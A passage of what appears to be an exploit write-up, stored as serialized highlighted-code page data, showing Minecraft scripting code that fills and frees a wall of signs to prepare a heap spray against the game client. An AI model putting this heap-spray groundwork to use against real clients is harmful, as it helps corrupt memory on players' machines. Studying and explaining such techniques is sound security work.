19,"tag":168,"props":147923,"children":147924},{"style":212},[147925],{"type":24,"value":412},{"type":19,"tag":168,"props":147927,"children":147928},{"class":170,"line":755},[147929],{"type":19,"tag":168,"props":147930,"children":147931},{"style":212},[147932],{"type":24,"value":761},{"type":19,"tag":168,"props":147934,"children":147935},{"class":170,"line":1008},[147936],{"type":19,"tag":168,"props":147937,"children":147938},{"emptyLinePlaceholder":14},[147939],{"type":24,"value":1093},{"type":19,"tag":168,"props":147941,"children":147942},{"class":170,"line":1025},[147943,147947,147951,147956,147960,147965],{"type":19,"tag":168,"props":147944,"children":147945},{"style":393},[147946],{"type":24,"value":28911},{"type":19,"tag":168,"props":147948,"children":147949},{"style":212},[147950],{"type":24,"value":948},{"type":19,"tag":168,"props":147952,"children":147953},{"style":175},[147954],{"type":24,"value":147955},"warn",{"type":19,"tag":168,"props":147957,"children":147958},{"style":212},[147959],{"type":24,"value":500},{"type":19,"tag":168,"props":147961,"children":147962},{"style":181},[147963],{"type":24,"value":147964},"\"No more allocs\"",{"type":19,"tag":168,"props":147966,"children":147967},{"style":212},[147968],{"type":24,"value":1249},{"type":19,"tag":168,"props":147970,"children":147971},{"class":170,"line":1042},[147972,147976,147980],{"type":19,"tag":168,"props":147973,"children":147974},{"style":419},[147975],{"type":24,"value":14438},{"type":19,"tag":168,"props":147977,"children":147978},{"style":382},[147979],{"type":24,"value":36813},{"type":19,"tag":168,"props":147981,"children":147982},{"style":212},[147983],{"type":24,"value":412},{"type":19,"tag":168,"props":147985,"children":147986},{"class":170,"line":1055},[147987],{"type":19,"tag":168,"props":147988,"children":147989},{"style":212},[147990],{"type":24,"value":1326},{"type":19,"tag":168,"props":147992,"children":147993},{"class":170,"line":1064},[147994],{"type":19,"tag":168,"props":147995,"children":147996},{"emptyLinePlaceholder":14},[147997],{"type":24,"value":1093},{"type":19,"tag":168,"props":147999,"children":148000},{"class":170,"line":1087},[148001],{"type":19,"tag":168,"props":148002,"children":148003},{"style":373},[148004],{"type":24,"value":148005},"// Free an allocated sign in the client\n",{"type":19,"tag":168,"props":148007,"children":148008},{"class":170,"line":1096},[148009,148013,148018,148022,148026],{"type":19,"tag":168,"props":148010,"children":148011},{"style":382},[148012],{"type":24,"value":28849},{"type":19,"tag":168,"props":148014,"children":148015},{"style":175},[148016],{"type":24,"value":148017}," free",{"type":19,"tag":168,"props":148019,"children":148020},{"style":212},[148021],{"type":24,"value":500},{"type":19,"tag":168,"props":148023,"children":148024},{"style":393},[148025],{"type":24,"value":147767},{"type":19,"tag":168,"props":148027,"children":148028},{"style":212},[148029],{"type":24,"value":12250},{"type":19,"tag":168,"props":148031,"children":148032},{"class":170,"line":1105},[148033,148037,148041,148045,148049,148053,148057,148061,148065,148069,148073,148077],{"type":19,"tag":168,"props":148034,"children":148035},{"style":419},[148036],{"type":24,"value":9724},{"type":19,"tag":168,"props":148038,"children":148039},{"style":212},[148040],{"type":24,"value":461},{"type":19,"tag":168,"props":148042,"children":148043},{"style":393},[148044],{"type":24,"value":147767},{"type":19,"tag":168,"props":148046,"children":148047},{"style":399},[148048],{"type":24,"value":682},{"type":19,"tag":168,"props":148050,"children":148051},{"style":382},[148052],{"type":24,"value":36813},{"type":19,"tag":168,"props":148054,"children":148055},{"style":399},[148056],{"type":24,"value":21164},{"type":19,"tag":168,"props":148058,"children":148059},{"style":393},[148060],{"type":24,"value":147738},{"type":19,"tag":168,"props":148062,"children":148063},{"style":212},[148064],{"type":24,"value":948},{"type":19,"tag":168,"props":148066,"children":148067},{"style":393},[148068],{"type":24,"value":147776},{"type":19,"tag":168,"props":148070,"children":148071},{"style":399},[148072],{"type":24,"value":682},{"type":19,"tag":168,"props":148074,"children":148075},{"style":382},[148076],{"type":24,"value":6497},{"type":19,"tag":168,"props":148078,"children":148079},{"style":212},[148080],{"type":24,"value":12250},{"type":19,"tag":168,"props":148082,"children":148083},{"class":170,"line":1174},[148084,148088],{"type":19,"tag":168,"props":148085,"children":148086},{"style":419},[148087],{"type":24,"value":13192},{"type":19,"tag":168,"props":148089,"children":148090},{"style":212},[148091],{"type":24,"value":412},{"type":19,"tag":168,"props":148093,"children":148094},{"class":170,"line":1182},[148095],{"type":19,"tag":168,"props":148096,"children":148097},{"style":212},[148098],{"type":24,"value":761},{"type":19,"tag":168,"props":148100,"children":148101},{"class":170,"line":1212},[148102],{"type":19,"tag":168,"props":148103,"children":148104},{"emptyLinePlaceholder":14},[148105],{"type":24,"value":1093},{"type":19,"tag":168,"props":148107,"children":148108},{"class":170,"line":1220},[148109,148114,148118,148122,148126,148130,148134,148139],{"type":19,"tag":168,"props":148110,"children":148111},{"style":393},[148112],{"type":24,"value":148113}," sign",{"type":19,"tag":168,"props":148115,"children":148116},{"style":212},[148117],{"type":24,"value":948},{"type":19,"tag":168,"props":148119,"children":148120},{"style":393},[148121],{"type":24,"value":147767},{"type":19,"tag":168,"props":148123,"children":148124},{"style":212},[148125],{"type":24,"value":948},{"type":19,"tag":168,"props":148127,"children":148128},{"style":175},[148129],{"type":24,"value":147847},{"type":19,"tag":168,"props":148131,"children":148132},{"style":212},[148133],{"type":24,"value":500},{"type":19,"tag":168,"props":148135,"children":148136},{"style":181},[148137],{"type":24,"value":148138},"\"\"",{"type":19,"tag":168,"props":148140,"children":148141},{"style":212},[148142],{"type":24,"value":1249},{"type":19,"tag":168,"props":148144,"children":148145},{"class":170,"line":1252},[148146,148150,148154,148158,148162,148166],{"type":19,"tag":168,"props":148147,"children":148148},{"style":393},[148149],{"type":24,"value":148113},{"type":19,"tag":168,"props":148151,"children":148152},{"style":212},[148153],{"type":24,"value":948},{"type":19,"tag":168,"props":148155,"children":148156},{"style":393},[148157],{"type":24,"value":147776},{"type":19,"tag":168,"props":148159,"children":148160},{"style":399},[148161],{"type":24,"value":402},{"type":19,"tag":168,"props":148163,"children":148164},{"style":382},[148165],{"type":24,"value":6497},{"type":19,"tag":168,"props":148167,"children":148168},{"style":212},[148169],{"type":24,"value":412},{"type":19,"tag":168,"props":148171,"children":148172},{"class":170,"line":1260},[148173],{"type":19,"tag":168,"props":148174,"children":148175},{"emptyLinePlaceholder":14},[148176],{"type":24,"value":1093},{"type":19,"tag":168,"props":148178,"children":148179},{"class":170,"line":1320},[148180,148184,148188,148193,148197,148202],{"type":19,"tag":168,"props":148181,"children":148182},{"style":393},[148183],{"type":24,"value":148113},{"type":19,"tag":168,"props":148185,"children":148186},{"style":212},[148187],{"type":24,"value":948},{"type":19,"tag":168,"props":148189,"children":148190},{"style":393},[148191],{"type":24,"value":148192},"block",{"type":19,"tag":168,"props":148194,"children":148195},{"style":212},[148196],{"type":24,"value":948},{"type":19,"tag":168,"props":148198,"children":148199},{"style":175},[148200],{"type":24,"value":148201},"setPermutation",{"type":19,"tag":168,"props":148203,"children":148204},{"style":212},[148205],{"type":24,"value":870},{"type":19,"tag":168,"props":148207,"children":148208},{"class":170,"line":6486},[148209,148214,148218,148223,148227,148232],{"type":19,"tag":168,"props":148210,"children":148211},{"style":393},[148212],{"type":24,"value":148213}," BlockPermutation",{"type":19,"tag":168,"props":148215,"children":148216},{"style":212},[148217],{"type":24,"value":948},{"type":19,"tag":168,"props":148219,"children":148220},{"style":175},[148221],{"type":24,"value":148222},"resolve",{"type":19,"tag":168,"props":148224,"children":148225},{"style":212},[148226],{"type":24,"value":500},{"type":19,"tag":168,"props":148228,"children":148229},{"style":181},[148230],{"type":24,"value":148231},"\"minecraft:air\"",{"type":19,"tag":168,"props":148233,"children":148234},{"style":212},[148235],{"type":24,"value":557},{"type":19,"tag":168,"props":148237,"children":148238},{"class":170,"line":6504},[148239],{"type":19,"tag":168,"props":148240,"children":148241},{"style":212},[148242],{"type":24,"value":41135},{"type":19,"tag":168,"props":148244,"children":148245},{"class":170,"line":6549},[148246,148250,148254,148258,148262,148266],{"type":19,"tag":168,"props":148247,"children":148248},{"style":393},[148249],{"type":24,"value":148113},{"type":19,"tag":168,"props":148251,"children":148252},{"style":212},[148253],{"type":24,"value":948},{"type":19,"tag":168,"props":148255,"children":148256},{"style":393},[148257],{"type":24,"value":130452},{"type":19,"tag":168,"props":148259,"children":148260},{"style":399},[148261],{"type":24,"value":402},{"type":19,"tag":168,"props":148263,"children":148264},{"style":382},[148265],{"type":24,"value":9914},{"type":19,"tag":168,"props":148267,"children":148268},{"style":212},[148269],{"type":24,"value":412},{"type":19,"tag":168,"props":148271,"children":148272},{"class":170,"line":6655},[148273],{"type":19,"tag":168,"props":148274,"children":148275},{"style":212},[148276],{"type":24,"value":1326},{"type":19,"tag":20,"props":148278,"children":148279},{},[148280,148282,148288],{"type":24,"value":148281},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":19,"tag":27,"props":148283,"children":148285},{"className":148284},[],[148286],{"type":24,"value":148287},"signs",{"type":24,"value":148289}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":19,"tag":158,"props":148291,"children":148293},{"code":148292,"language":33090,"meta":7,"className":33088,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[148294],{"type":19,"tag":27,"props":148295,"children":148296},{"__ignoreMap":7},[148297,148312,148319,148335,148352,148359,148421,148483,148490,148506,148514,148536,148562,148587,148607,148636,148648,148655,148663,148685,148719,148726,148746,148762,148778,148794,148806,148814,148821,148828,148835,148842,148858,148873,148880,148939,148998,149005,149020,149028,149056,149084,149092,149099,149118,149145,149152,149159,149174,149181,149188,149195,149202,149258,149270,149277,149284,149345,149357],{"type":19,"tag":168,"props":148298,"children":148299},{"class":170,"line":171},[148300,148304,148308],{"type":19,"tag":168,"props":148301,"children":148302},{"style":382},[148303],{"type":24,"value":9232},{"type":19,"tag":168,"props":148305,"children":148306},{"style":393},[148307],{"type":24,"value":147747},{"type":19,"tag":168,"props":148309,"children":148310},{"style":212},[148311],{"type":24,"value":412},{"type":19,"tag":168,"props":148313,"children":148314},{"class":170,"line":198},[148315],{"type":19,"tag":168,"props":148316,"children":148317},{"emptyLinePlaceholder":14},[148318],{"type":24,"value":1093},{"type":19,"tag":168,"props":148320,"children":148321},{"class":170,"line":415},[148322,148326,148331],{"type":19,"tag":168,"props":148323,"children":148324},{"style":382},[148325],{"type":24,"value":28849},{"type":19,"tag":168,"props":148327,"children":148328},{"style":175},[148329],{"type":24,"value":148330}," create_wall",{"type":19,"tag":168,"props":148332,"children":148333},{"style":212},[148334],{"type":24,"value":13184},{"type":19,"tag":168,"props":148336,"children":148337},{"class":170,"line":450},[148338,148343,148347],{"type":19,"tag":168,"props":148339,"children":148340},{"style":393},[148341],{"type":24,"value":148342}," signs",{"type":19,"tag":168,"props":148344,"children":148345},{"style":399},[148346],{"type":24,"value":402},{"type":19,"tag":168,"props":148348,"children":148349},{"style":212},[148350],{"type":24,"value":148351}," [];\n",{"type":19,"tag":168,"props":148353,"children":148354},{"class":170,"line":560},[148355],{"type":19,"tag":168,"props":148356,"children":148357},{"emptyLinePlaceholder":14},[148358],{"type":24,"value":1093},{"type":19,"tag":168,"props":148360,"children":148361},{"class":170,"line":666},[148362,148366,148370,148374,148379,148383,148387,148391,148396,148400,148405,148409,148413,148417],{"type":19,"tag":168,"props":148363,"children":148364},{"style":419},[148365],{"type":24,"value":422},{"type":19,"tag":168,"props":148367,"children":148368},{"style":212},[148369],{"type":24,"value":461},{"type":19,"tag":168,"props":148371,"children":148372},{"style":382},[148373],{"type":24,"value":9232},{"type":19,"tag":168,"props":148375,"children":148376},{"style":393},[148377],{"type":24,"value":148378}," current_y",{"type":19,"tag":168,"props":148380,"children":148381},{"style":399},[148382],{"type":24,"value":402},{"type":19,"tag":168,"props":148384,"children":148385},{"style":192},[148386],{"type":24,"value":437},{"type":19,"tag":168,"props":148388,"children":148389},{"style":212},[148390],{"type":24,"value":14676},{"type":19,"tag":168,"props":148392,"children":148393},{"style":393},[148394],{"type":24,"value":148395},"current_y",{"type":19,"tag":168,"props":148397,"children":148398},{"style":399},[148399],{"type":24,"value":6157},{"type":19,"tag":168,"props":148401,"children":148402},{"style":393},[148403],{"type":24,"value":148404}," WALL_HEIGHT",{"type":19,"tag":168,"props":148406,"children":148407},{"style":212},[148408],{"type":24,"value":14676},{"type":19,"tag":168,"props":148410,"children":148411},{"style":393},[148412],{"type":24,"value":148395},{"type":19,"tag":168,"props":148414,"children":148415},{"style":399},[148416],{"type":24,"value":48752},{"type":19,"tag":168,"props":148418,"children":148419},{"style":212},[148420],{"type":24,"value":12250},{"type":19,"tag":168,"props":148422,"children":148423},{"class":170,"line":694},[148424,148428,148432,148436,148441,148445,148449,148453,148458,148462,148467,148471,148475,148479],{"type":19,"tag":168,"props":148425,"children":148426},{"style":419},[148427],{"type":24,"value":58061},{"type":19,"tag":168,"props":148429,"children":148430},{"style":212},[148431],{"type":24,"value":461},{"type":19,"tag":168,"props":148433,"children":148434},{"style":382},[148435],{"type":24,"value":9232},{"type":19,"tag":168,"props":148437,"children":148438},{"style":393},[148439],{"type":24,"value":148440}," current_x",{"type":19,"tag":168,"props":148442,"children":148443},{"style":399},[148444],{"type":24,"value":402},{"type":19,"tag":168,"props":148446,"children":148447},{"style":192},[148448],{"type":24,"value":437},{"type":19,"tag":168,"props":148450,"children":148451},{"style":212},[148452],{"type":24,"value":14676},{"type":19,"tag":168,"props":148454,"children":148455},{"style":393},[148456],{"type":24,"value":148457},"current_x",{"type":19,"tag":168,"props":148459,"children":148460},{"style":399},[148461],{"type":24,"value":6157},{"type":19,"tag":168,"props":148463,"children":148464},{"style":393},[148465],{"type":24,"value":148466}," WALL_WIDTH",{"type":19,"tag":168,"props":148468,"children":148469},{"style":212},[148470],{"type":24,"value":14676},{"type":19,"tag":168,"props":148472,"children":148473},{"style":393},[148474],{"type":24,"value":148457},{"type":19,"tag":168,"props":148476,"children":148477},{"style":399},[148478],{"type":24,"value":48752},{"type":19,"tag":168,"props":148480,"children":148481},{"style":212},[148482],{"type":24,"value":12250},{"type":19,"tag":168,"props":148484,"children":148485},{"class":170,"line":707},[148486],{"type":19,"tag":168,"props":148487,"children":148488},{"emptyLinePlaceholder":14},[148489],{"type":24,"value":1093},{"type":19,"tag":168,"props":148491,"children":148492},{"class":170,"line":725},[148493,148498,148502],{"type":19,"tag":168,"props":148494,"children":148495},{"style":212},[148496],{"type":24,"value":148497}," [",{"type":19,"tag":168,"props":148499,"children":148500},{"style":399},[148501],{"type":24,"value":7032},{"type":19,"tag":168,"props":148503,"children":148504},{"style":212},[148505],{"type":24,"value":9217},{"type":19,"tag":168,"props":148507,"children":148508},{"class":170,"line":746},[148509],{"type":19,"tag":168,"props":148510,"children":148511},{"style":212},[148512],{"type":24,"value":148513}," \n",{"type":19,"tag":168,"props":148515,"children":148516},{"class":170,"line":755},[148517,148522,148527,148531],{"type":19,"tag":168,"props":148518,"children":148519},{"style":382},[148520],{"type":24,"value":148521}," const",{"type":19,"tag":168,"props":148523,"children":148524},{"style":393},[148525],{"type":24,"value":148526}," sign_block",{"type":19,"tag":168,"props":148528,"children":148529},{"style":399},[148530],{"type":24,"value":402},{"type":19,"tag":168,"props":148532,"children":148533},{"style":393},[148534],{"type":24,"value":148535}," world\n",{"type":19,"tag":168,"props":148537,"children":148538},{"class":170,"line":1008},[148539,148544,148549,148553,148558],{"type":19,"tag":168,"props":148540,"children":148541},{"style":212},[148542],{"type":24,"value":148543}," .",{"type":19,"tag":168,"props":148545,"children":148546},{"style":175},[148547],{"type":24,"value":148548},"getDimension",{"type":19,"tag":168,"props":148550,"children":148551},{"style":212},[148552],{"type":24,"value":500},{"type":19,"tag":168,"props":148554,"children":148555},{"style":181},[148556],{"type":24,"value":148557},"\"overworld\"",{"type":19,"tag":168,"props":148559,"children":148560},{"style":212},[148561],{"type":24,"value":557},{"type":19,"tag":168,"props":148563,"children":148564},{"class":170,"line":1025},[148565,148569,148574,148578,148583],{"type":19,"tag":168,"props":148566,"children":148567},{"style":212},[148568],{"type":24,"value":148543},{"type":19,"tag":168,"props":148570,"children":148571},{"style":175},[148572],{"type":24,"value":148573},"getBlock",{"type":19,"tag":168,"props":148575,"children":148576},{"style":212},[148577],{"type":24,"value":500},{"type":19,"tag":168,"props":148579,"children":148580},{"style":393},[148581],{"type":24,"value":148582},"sign_location",{"type":19,"tag":168,"props":148584,"children":148585},{"style":212},[148586],{"type":24,"value":1249},{"type":19,"tag":168,"props":148588,"children":148589},{"class":170,"line":1042},[148590,148595,148599,148603],{"type":19,"tag":168,"props":148591,"children":148592},{"style":393},[148593],{"type":24,"value":148594}," sign_block",{"type":19,"tag":168,"props":148596,"children":148597},{"style":212},[148598],{"type":24,"value":948},{"type":19,"tag":168,"props":148600,"children":148601},{"style":175},[148602],{"type":24,"value":148201},{"type":19,"tag":168,"props":148604,"children":148605},{"style":212},[148606],{"type":24,"value":870},{"type":19,"tag":168,"props":148608,"children":148609},{"class":170,"line":1055},[148610,148615,148619,148623,148627,148632],{"type":19,"tag":168,"props":148611,"children":148612},{"style":393},[148613],{"type":24,"value":148614}," BlockPermutation",{"type":19,"tag":168,"props":148616,"children":148617},{"style":212},[148618],{"type":24,"value":948},{"type":19,"tag":168,"props":148620,"children":148621},{"style":175},[148622],{"type":24,"value":148222},{"type":19,"tag":168,"props":148624,"children":148625},{"style":212},[148626],{"type":24,"value":500},{"type":19,"tag":168,"props":148628,"children":148629},{"style":181},[148630],{"type":24,"value":148631},"\"minecraft:wall_sign\"",{"type":19,"tag":168,"props":148633,"children":148634},{"style":212},[148635],{"type":24,"value":46364},{"type":19,"tag":168,"props":148637,"children":148638},{"class":170,"line":1064},[148639,148644],{"type":19,"tag":168,"props":148640,"children":148641},{"style":393},[148642],{"type":24,"value":148643}," facing_direction:",{"type":19,"tag":168,"props":148645,"children":148646},{"style":192},[148647],{"type":24,"value":16780},{"type":19,"tag":168,"props":148649,"children":148650},{"class":170,"line":1087},[148651],{"type":19,"tag":168,"props":148652,"children":148653},{"style":212},[148654],{"type":24,"value":68558},{"type":19,"tag":168,"props":148656,"children":148657},{"class":170,"line":1096},[148658],{"type":19,"tag":168,"props":148659,"children":148660},{"style":212},[148661],{"type":24,"value":148662}," ));\n",{"type":19,"tag":168,"props":148664,"children":148665},{"class":170,"line":1105},[148666,148671,148676,148680],{"type":19,"tag":168,"props":148667,"children":148668},{"style":382},[148669],{"type":24,"value":148670}," let",{"type":19,"tag":168,"props":148672,"children":148673},{"style":393},[148674],{"type":24,"value":148675}," sign_component",{"type":19,"tag":168,"props":148677,"children":148678},{"style":399},[148679],{"type":24,"value":402},{"type":19,"tag":168,"props":148681,"children":148682},{"style":393},[148683],{"type":24,"value":148684}," sign_block\n",{"type":19,"tag":168,"props":148686,"children":148687},{"class":170,"line":1174},[148688,148692,148697,148701,148706,148710,148715],{"type":19,"tag":168,"props":148689,"children":148690},{"style":212},[148691],{"type":24,"value":148543},{"type":19,"tag":168,"props":148693,"children":148694},{"style":175},[148695],{"type":24,"value":148696},"getComponent",{"type":19,"tag":168,"props":148698,"children":148699},{"style":212},[148700],{"type":24,"value":500},{"type":19,"tag":168,"props":148702,"children":148703},{"style":393},[148704],{"type":24,"value":148705},"BlockComponentTypes",{"type":19,"tag":168,"props":148707,"children":148708},{"style":212},[148709],{"type":24,"value":948},{"type":19,"tag":168,"props":148711,"children":148712},{"style":393},[148713],{"type":24,"value":148714},"Sign",{"type":19,"tag":168,"props":148716,"children":148717},{"style":212},[148718],{"type":24,"value":1249},{"type":19,"tag":168,"props":148720,"children":148721},{"class":170,"line":1182},[148722],{"type":19,"tag":168,"props":148723,"children":148724},{"emptyLinePlaceholder":14},[148725],{"type":24,"value":1093},{"type":19,"tag":168,"props":148727,"children":148728},{"class":170,"line":1212},[148729,148734,148738,148742],{"type":19,"tag":168,"props":148730,"children":148731},{"style":393},[148732],{"type":24,"value":148733}," signs",{"type":19,"tag":168,"props":148735,"children":148736},{"style":212},[148737],{"type":24,"value":948},{"type":19,"tag":168,"props":148739,"children":148740},{"style":175},[148741],{"type":24,"value":1235},{"type":19,"tag":168,"props":148743,"children":148744},{"style":212},[148745],{"type":24,"value":12587},{"type":19,"tag":168,"props":148747,"children":148748},{"class":170,"line":1220},[148749,148754,148758],{"type":19,"tag":168,"props":148750,"children":148751},{"style":393},[148752],{"type":24,"value":148753}," sign:",{"type":19,"tag":168,"props":148755,"children":148756},{"style":393},[148757],{"type":24,"value":148675},{"type":19,"tag":168,"props":148759,"children":148760},{"style":212},[148761],{"type":24,"value":915},{"type":19,"tag":168,"props":148763,"children":148764},{"class":170,"line":1252},[148765,148770,148774],{"type":19,"tag":168,"props":148766,"children":148767},{"style":393},[148768],{"type":24,"value":148769}," allocated:",{"type":19,"tag":168,"props":148771,"children":148772},{"style":382},[148773],{"type":24,"value":6497},{"type":19,"tag":168,"props":148775,"children":148776},{"style":212},[148777],{"type":24,"value":915},{"type":19,"tag":168,"props":148779,"children":148780},{"class":170,"line":1260},[148781,148786,148790],{"type":19,"tag":168,"props":148782,"children":148783},{"style":393},[148784],{"type":24,"value":148785}," block:",{"type":19,"tag":168,"props":148787,"children":148788},{"style":393},[148789],{"type":24,"value":148526},{"type":19,"tag":168,"props":148791,"children":148792},{"style":212},[148793],{"type":24,"value":915},{"type":19,"tag":168,"props":148795,"children":148796},{"class":170,"line":1320},[148797,148802],{"type":19,"tag":168,"props":148798,"children":148799},{"style":393},[148800],{"type":24,"value":148801}," removed:",{"type":19,"tag":168,"props":148803,"children":148804},{"style":382},[148805],{"type":24,"value":9756},{"type":19,"tag":168,"props":148807,"children":148808},{"class":170,"line":6486},[148809],{"type":19,"tag":168,"props":148810,"children":148811},{"style":212},[148812],{"type":24,"value":148813}," });\n",{"type":19,"tag":168,"props":148815,"children":148816},{"class":170,"line":6504},[148817],{"type":19,"tag":168,"props":148818,"children":148819},{"style":212},[148820],{"type":24,"value":752},{"type":19,"tag":168,"props":148822,"children":148823},{"class":170,"line":6549},[148824],{"type":19,"tag":168,"props":148825,"children":148826},{"style":212},[148827],{"type":24,"value":761},{"type":19,"tag":168,"props":148829,"children":148830},{"class":170,"line":6655},[148831],{"type":19,"tag":168,"props":148832,"children":148833},{"style":212},[148834],{"type":24,"value":1326},{"type":19,"tag":168,"props":148836,"children":148837},{"class":170,"line":20965},[148838],{"type":19,"tag":168,"props":148839,"children":148840},{"emptyLinePlaceholder":14},[148841],{"type":24,"value":1093},{"type":19,"tag":168,"props":148843,"children":148844},{"class":170,"line":21000},[148845,148849,148854],{"type":19,"tag":168,"props":148846,"children":148847},{"style":382},[148848],{"type":24,"value":28849},{"type":19,"tag":168,"props":148850,"children":148851},{"style":175},[148852],{"type":24,"value":148853}," remove_wall",{"type":19,"tag":168,"props":148855,"children":148856},{"style":212},[148857],{"type":24,"value":13184},{"type":19,"tag":168,"props":148859,"children":148860},{"class":170,"line":21008},[148861,148865,148869],{"type":19,"tag":168,"props":148862,"children":148863},{"style":393},[148864],{"type":24,"value":148342},{"type":19,"tag":168,"props":148866,"children":148867},{"style":399},[148868],{"type":24,"value":402},{"type":19,"tag":168,"props":148870,"children":148871},{"style":212},[148872],{"type":24,"value":148351},{"type":19,"tag":168,"props":148874,"children":148875},{"class":170,"line":21016},[148876],{"type":19,"tag":168,"props":148877,"children":148878},{"style":212},[148879],{"type":24,"value":59271},{"type":19,"tag":168,"props":148881,"children":148882},{"class":170,"line":21025},[148883,148887,148891,148895,148899,148903,148907,148911,148915,148919,148923,148927,148931,148935],{"type":19,"tag":168,"props":148884,"children":148885},{"style":419},[148886],{"type":24,"value":422},{"type":19,"tag":168,"props":148888,"children":148889},{"style":212},[148890],{"type":24,"value":461},{"type":19,"tag":168,"props":148892,"children":148893},{"style":382},[148894],{"type":24,"value":9232},{"type":19,"tag":168,"props":148896,"children":148897},{"style":393},[148898],{"type":24,"value":148378},{"type":19,"tag":168,"props":148900,"children":148901},{"style":399},[148902],{"type":24,"value":402},{"type":19,"tag":168,"props":148904,"children":148905},{"style":192},[148906],{"type":24,"value":437},{"type":19,"tag":168,"props":148908,"children":148909},{"style":212},[148910],{"type":24,"value":14676},{"type":19,"tag":168,"props":148912,"children":148913},{"style":393},[148914],{"type":24,"value":148395},{"type":19,"tag":168,"props":148916,"children":148917},{"style":399},[148918],{"type":24,"value":6157},{"type":19,"tag":168,"props":148920,"children":148921},{"style":393},[148922],{"type":24,"value":148404},{"type":19,"tag":168,"props":148924,"children":148925},{"style":212},[148926],{"type":24,"value":14676},{"type":19,"tag":168,"props":148928,"children":148929},{"style":393},[148930],{"type":24,"value":148395},{"type":19,"tag":168,"props":148932,"children":148933},{"style":399},[148934],{"type":24,"value":48752},{"type":19,"tag":168,"props":148936,"children":148937},{"style":212},[148938],{"type":24,"value":12250},{"type":19,"tag":168,"props":148940,"children":148941},{"class":170,"line":21067},[148942,148946,148950,148954,148958,148962,148966,148970,148974,148978,148982,148986,148990,148994],{"type":19,"tag":168,"props":148943,"children":148944},{"style":419},[148945],{"type":24,"value":58061},{"type":19,"tag":168,"props":148947,"children":148948},{"style":212},[148949],{"type":24,"value":461},{"type":19,"tag":168,"props":148951,"children":148952},{"style":382},[148953],{"type":24,"value":9232},{"type":19,"tag":168,"props":148955,"children":148956},{"style":393},[148957],{"type":24,"value":148440},{"type":19,"tag":168,"props":148959,"children":148960},{"style":399},[148961],{"type":24,"value":402},{"type":19,"tag":168,"props":148963,"children":148964},{"style":192},[148965],{"type":24,"value":437},{"type":19,"tag":168,"props":148967,"children":148968},{"style":212},[148969],{"type":24,"value":14676},{"type":19,"tag":168,"props":148971,"children":148972},{"style":393},[148973],{"type":24,"value":148457},{"type":19,"tag":168,"props":148975,"children":148976},{"style":399},[148977],{"type":24,"value":6157},{"type":19,"tag":168,"props":148979,"children":148980},{"style":393},[148981],{"type":24,"value":148466},{"type":19,"tag":168,"props":148983,"children":148984},{"style":212},[148985],{"type":24,"value":14676},{"type":19,"tag":168,"props":148987,"children":148988},{"style":393},[148989],{"type":24,"value":148457},{"type":19,"tag":168,"props":148991,"children":148992},{"style":399},[148993],{"type":24,"value":48752},{"type":19,"tag":168,"props":148995,"children":148996},{"style":212},[148997],{"type":24,"value":12250},{"type":19,"tag":168,"props":148999,"children":149000},{"class":170,"line":21100},[149001],{"type":19,"tag":168,"props":149002,"children":149003},{"style":212},[149004],{"type":24,"value":148513},{"type":19,"tag":168,"props":149006,"children":149007},{"class":170,"line":21108},[149008,149012,149016],{"type":19,"tag":168,"props":149009,"children":149010},{"style":212},[149011],{"type":24,"value":148497},{"type":19,"tag":168,"props":149013,"children":149014},{"style":399},[149015],{"type":24,"value":7032},{"type":19,"tag":168,"props":149017,"children":149018},{"style":212},[149019],{"type":24,"value":9217},{"type":19,"tag":168,"props":149021,"children":149022},{"class":170,"line":21116},[149023],{"type":19,"tag":168,"props":149024,"children":149025},{"style":212},[149026],{"type":24,"value":149027}," \n",{"type":19,"tag":168,"props":149029,"children":149030},{"class":170,"line":21125},[149031,149035,149039,149043,149047,149052],{"type":19,"tag":168,"props":149032,"children":149033},{"style":382},[149034],{"type":24,"value":148521},{"type":19,"tag":168,"props":149036,"children":149037},{"style":393},[149038],{"type":24,"value":148526},{"type":19,"tag":168,"props":149040,"children":149041},{"style":399},[149042],{"type":24,"value":402},{"type":19,"tag":168,"props":149044,"children":149045},{"style":419},[149046],{"type":24,"value":33686},{"type":19,"tag":168,"props":149048,"children":149049},{"style":175},[149050],{"type":24,"value":149051}," wait_for_block",{"type":19,"tag":168,"props":149053,"children":149054},{"style":212},[149055],{"type":24,"value":870},{"type":19,"tag":168,"props":149057,"children":149058},{"class":170,"line":21201},[149059,149064,149068,149072,149076,149080],{"type":19,"tag":168,"props":149060,"children":149061},{"style":393},[149062],{"type":24,"value":149063}," world",{"type":19,"tag":168,"props":149065,"children":149066},{"style":212},[149067],{"type":24,"value":948},{"type":19,"tag":168,"props":149069,"children":149070},{"style":175},[149071],{"type":24,"value":148548},{"type":19,"tag":168,"props":149073,"children":149074},{"style":212},[149075],{"type":24,"value":500},{"type":19,"tag":168,"props":149077,"children":149078},{"style":181},[149079],{"type":24,"value":148557},{"type":19,"tag":168,"props":149081,"children":149082},{"style":212},[149083],{"type":24,"value":4172},{"type":19,"tag":168,"props":149085,"children":149086},{"class":170,"line":21234},[149087],{"type":19,"tag":168,"props":149088,"children":149089},{"style":393},[149090],{"type":24,"value":149091}," 